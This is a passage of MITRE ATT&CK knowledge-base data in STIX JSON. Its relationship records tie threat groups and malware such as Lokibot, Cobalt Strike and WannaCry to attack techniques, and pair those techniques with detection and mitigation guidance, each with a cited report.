2015)","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe46e6be-a008-490a-b0b1-243b8445824e","type":"relationship","created":"2021-03-04T21:59:44.537Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Wilted Tulip July 2017","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"}],"modified":"2021-03-04T21:59:44.537Z","description":"(Citation: ClearSky Wilted Tulip July 2017)","relationship_type":"uses","source_ref":"intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a","target_ref":"malware--1cc934e4-b01d-4543-a011-b988dfc1a458","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe4a20ca-7a57-44b7-bcf3-0f51fe9abffa","type":"relationship","created":"2021-08-18T18:52:47.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-31T13:34:25.482Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has compromised email accounts to conduct social engineering attacks.(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe4af180-c8ce-4326-b39b-e08f3f72ccf3","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the deletion of an instance in the TerminateInstances event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search) (Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances delete to delete a VM.(Citation: Cloud Audit Logs)","source_ref":"x-mitre-data-component--7561ed50-16cb-4826-82c7-c1ddca61785e","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"AWS CloudTrail Search","description":"Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.","url":"https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/"},{"source_name":"Cloud Audit Logs","description":"Google. (n.d.). Audit Logs. Retrieved June 1, 2020.","url":"https://cloud.google.com/logging/docs/audit#admin-activity"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe4c0535-7491-4345-a524-11f8434e3678","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"modified":"2019-04-24T23:21:59.169Z","description":"[GravityRAT](https://attack.mitre.org/software/S0237) collects various information via WMI requests, including CPU information in the Win32_Processor entry (Processor ID, Name, Manufacturer and the clock speed).(Citation: Talos GravityRAT)","relationship_type":"uses","source_ref":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe4ed27a-6d45-4e6a-bbc0-7ebe15a38046","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"},{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-06-16T20:51:13.951Z","description":"[RTM](https://attack.mitre.org/software/S0148) can delete all files created during its execution.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe518957-8722-498f-8da0-4b5eca466cef","type":"relationship","created":"2020-11-10T19:15:14.224Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-10T19:15:14.224Z","description":"[Javali](https://attack.mitre.org/software/S0528) can download payloads from remote C2 servers.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--64122557-5940-4271-9123-25bfc0c693db","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--fe53f672-fc19-4da2-8e78-b8fd3cf05aea","created":"2022-03-30T14:26:51.865Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","modified":"2022-04-18T18:41:04.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fe56443a-5f0b-4120-9d27-d4d98aae69b8","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Symantec Calisto July 2018","description":"Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.","url":"https://web.archive.org/web/20190111082249/https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T19:42:40.617Z","description":"[Calisto](https://attack.mitre.org/software/S0274) adds permissions and remote logins to all users.(Citation: Symantec Calisto July 2018)","relationship_type":"uses","source_ref":"malware--b8fdef82-d2cf-4948-8949-6466357b1be1","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fe57d6a5-09d4-4642-9b71-cfcf9b9e0de1","created":"2021-04-07T14:10:22.287Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.846Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can hash functions to obfuscate calls to the Windows API and use a public/private key pair to encrypt Beacon session metadata.(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fe67405d-7fa3-4053-b52c-25dbd4ef3479","created":"2021-03-03T21:58:17.829Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"},{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-31T04:18:44.579Z","description":"Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using SPF) and integrity of messages (using DKIM). Enabling these mechanisms within an organization (through policies such as DMARC) may enable recipients (intra-org and cross domain) to perform similar message filtering and validation.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe69bcdd-8df4-44e3-8994-b46e4d4c8aac","type":"relationship","created":"2020-05-15T16:50:05.783Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Infoblox Lokibot January 2019","url":"https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22","description":"Hoang, M. (2019, January 31). Malicious Activity Report: Elements of Lokibot Infostealer. Retrieved May 15, 2020."}],"modified":"2020-05-15T16:50:05.783Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has demonstrated the ability to steal credentials from multiple applications and data sources including Safari and the Chromium and Mozilla Firefox-based web browsers.(Citation: Infoblox Lokibot January 2019)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--fe6fc2bb-5d96-4684-98bc-fa408e71de5a","created":"2022-04-11T17:22:12.062Z","x_mitre_version":"0.1","external_references":[{"source_name":"Wikipedia Rootkit","url":"https://en.wikipedia.org/wiki/Rootkit","description":"Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for changes and the existence of unrecognized DLLs, drivers, devices, services, and to the MBR. (Citation: Wikipedia Rootkit)","modified":"2022-04-11T17:22:12.062Z","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe720085-2a43-4f72-8a5f-cf6ae82f7127","type":"relationship","created":"2019-04-24T20:48:39.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}],"modified":"2019-06-24T17:20:24.625Z","description":"[jRAT](https://attack.mitre.org/software/S0283) can steal keys for VPNs and cryptocurrency wallets.(Citation: Kaspersky Adwind Feb 2016)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe786b29-e621-48e2-84b5-aed35e6930fe","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft SIR Vol 21","description":"Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.","url":"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf"}],"modified":"2020-02-11T19:39:04.083Z","description":"[Wingbird](https://attack.mitre.org/software/S0176) checks the victim OS version after executing to determine where to drop files based on whether the victim is 32-bit or 64-bit.(Citation: Microsoft SIR Vol 21)","relationship_type":"uses","source_ref":"malware--a8d3d497-2da9-4797-8e0b-ed176be08654","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe78de3a-107f-4870-b5a1-c60289d68dec","type":"relationship","created":"2019-03-26T13:38:24.627Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"LogRhythm WannaCry","url":"https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/","description":"Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."}],"modified":"2020-03-20T19:13:29.137Z","description":"[WannaCry](https://attack.mitre.org/software/S0366) attempts to copy itself to remote computers after gaining access via an SMB exploit.(Citation: LogRhythm WannaCry)","relationship_type":"uses","source_ref":"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fe7c5c1c-b5b2-4770-911c-415839d5ede4","created":"2022-09-27T17:47:45.637Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-07T20:39:59.922Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), the threat actors used `tasklist` to collect a list of running processes on an infected system.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe8004eb-df5b-43c5-bf5a-1cbe028e8663","type":"relationship","created":"2020-10-22T18:45:48.529Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FBI Flash FIN7 USB","url":"https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/","description":"The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 2022."},{"description":"Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques. Retrieved October 11, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html","source_name":"FireEye FIN7 Oct 2019"}],"modified":"2022-01-14T17:14:27.939Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has developed malware for use in operations, including the creation of infected removable media.(Citation: FBI Flash FIN7 USB)(Citation: FireEye FIN7 Oct 2019)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe80fc5b-60ed-46dd-9e82-c4b99f6796f4","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor executed commands and arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--2cd950a6-16c4-404a-aa01-044322395107","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fe81397b-d380-476d-8d56-bae1275d0242","created":"2024-09-16T09:22:50.840Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:22:50.840Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) used stolen code signing certificates for [DUSTTRAP](https://attack.mitre.org/software/S1159) malware and subsequent payloads.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe8358f5-ead6-4ae7-a88c-831dda8ab123","type":"relationship","created":"2020-01-24T19:36:42.015Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T19:36:42.015Z","relationship_type":"revoked-by","source_ref":"attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--fe83c4f7-7a52-4a4f-8d17-a28e0ca162ed","created":"2022-08-09T16:48:50.142Z","x_mitre_version":"0.1","external_references":[{"source_name":"ZScaler Squirrelwaffle Sep 2021","url":"https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike","description":"Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) has collected the victim’s external IP address.(Citation: ZScaler Squirrelwaffle Sep 2021)","modified":"2022-08-26T21:19:08.384Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe849763-78b9-4b8a-9219-2781ac7b00e8","type":"relationship","created":"2019-07-17T15:45:37.582Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/library/jj865668.aspx","description":"Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.","source_name":"Microsoft Disable NTLM Nov 2012"},{"source_name":"Microsoft WDigest Mit","url":"https://support.microsoft.com/en-us/help/2871997/microsoft-security-advisory-update-to-improve-credentials-protection-a","description":"Microsoft. (2014, May 13). Microsoft Security Advisory: Update to improve credentials protection and management. Retrieved June 8, 2020."}],"modified":"2021-07-20T23:03:00.785Z","description":"\nConsider disabling or restricting NTLM.(Citation: Microsoft Disable NTLM Nov 2012) Consider disabling WDigest authentication.(Citation: Microsoft WDigest Mit)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe86edf0-d69f-48bc-bdb7-7fd8a8dbcb82","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 DarkHydrus July 2018","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"}],"modified":"2019-04-24T23:55:43.337Z","description":"[RogueRobin](https://attack.mitre.org/software/S0270) created a shortcut in the Windows startup folder to launch a PowerShell script each time the user logs in to establish persistence.(Citation: Unit 42 DarkHydrus July 2018)","relationship_type":"uses","source_ref":"malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fe892807-f2da-4fc2-a552-979a10c44094","created":"2024-06-11T18:00:30.929Z","revoked":false,"external_references":[{"source_name":"SOCRadar INC Ransom January 2024","description":"SOCRadar. (2024, January 24). Dark Web Profile: INC Ransom. Retrieved June 5, 2024.","url":"https://socradar.io/dark-web-profile-inc-ransom/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T18:00:30.929Z","description":"[INC Ransom](https://attack.mitre.org/groups/G1032) has used RDP to test network connections.(Citation: SOCRadar INC Ransom January 2024)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe89ee6f-dc2c-4e0c-9279-df6bafbcc333","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor for changes in the status of the system firewall such as Windows Security Auditing events 5025 (The Windows firewall service has been stopped) and 5034 (The Windows firewall driver was stopped).","source_ref":"x-mitre-data-component--c97d0171-f6e0-4415-85ff-4082fdb8c72a","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--fe8a320f-e5e5-4503-8c3a-5c21b628a61d","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"SecureWorks BRONZE UNION June 2017","url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used `net use` and `netstat` to conduct internal discovery of systems. The group has also used `quser.exe` to identify existing RDP sessions on a victim.(Citation: SecureWorks BRONZE UNION June 2017)","modified":"2022-04-11T16:27:36.517Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fe8a52b2-b1b8-4193-a637-abd9ec219e6a","created":"2023-09-08T15:50:22.096Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Binary Defense Emotes Wi-Fi Spreader","description":"Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 